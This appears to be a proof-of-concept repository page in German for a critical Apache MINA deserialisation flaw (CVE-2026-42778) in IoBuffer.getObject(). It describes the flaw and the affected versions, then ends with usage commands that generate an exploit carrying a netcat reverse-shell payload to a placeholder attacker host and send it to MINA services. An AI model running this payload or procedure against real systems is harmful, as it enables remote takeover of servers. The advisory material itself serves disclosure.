akinfue/cve-2026-42778-pocCVE-2026-42778 EUVD-2026-26492 Deserialisierung nicht vertrauenswürdiger Daten (CWE-502)
Unvollständiger Fix in der Methode AbstractIoBuffer.getObject() von Apache MINA. Die Allowlist-Validierung des Klassennamens, die einschränkt, welche Klassen deserialisiert werden können, wird zu spät angewendet – nachdem statische Initialisierer in den gelesenen Klassen möglicherweise bereits ausgeführt wurden. Dies geschieht, weil der ursprüngliche Fix für CVE-2024-52046 nicht ordnungsgemäß auf die Zweige 2.1.X und 2.2.X angewendet wurde. Betroffene Versionen: - Apache MINA 2.1.0 bis 2.1.11 - Apache MINA 2.2.0 bis 2.2.6
CVE-ID: CVE-2026-42778
Veröffentlicht: 05.01.2026
Auswirkung: Kritisch
Exploit-Verfügbarkeit: Nicht öffentlich, nur privat.
CVSS: 9.8
Patch verfügbar: (Noch kein offizieller Patch)
Ein Angreifer kann bösartige serialisierte Objekte erstellen, die bei der Verarbeitung durch IoBuffer.getObject() über statische Initialisierer beliebigen Code ausführen, bevor die Allowlist-Validierung des Klassennamens erfolgt. Da es sich um eine netzwerkzugängliche Schwachstelle handelt, die keine Privilegien oder Benutzerinteraktion erfordert, ist eine Remote-Codeausführung für jede Anwendung möglich, die Apache MINA verwendet und die Methode IoBuffer.getObject() aufruft. Die Schwachstelle ermöglicht die vollständige Kompromittierung von Vertraulichkeit, Integrität und Verfügbarkeit betroffener Systeme.
# Kompilieren und generieren
javac ExploitGenerator.java
java ExploitGenerator "nc -e /bin/sh attacker-ip 4444"
# Über das Netzwerk an einen MINA-basierten Dienst mit ObjectSerializationCodecFactory senden
# oder an einen beliebigen Endpunkt, der IoBuffer.getObject() aufruft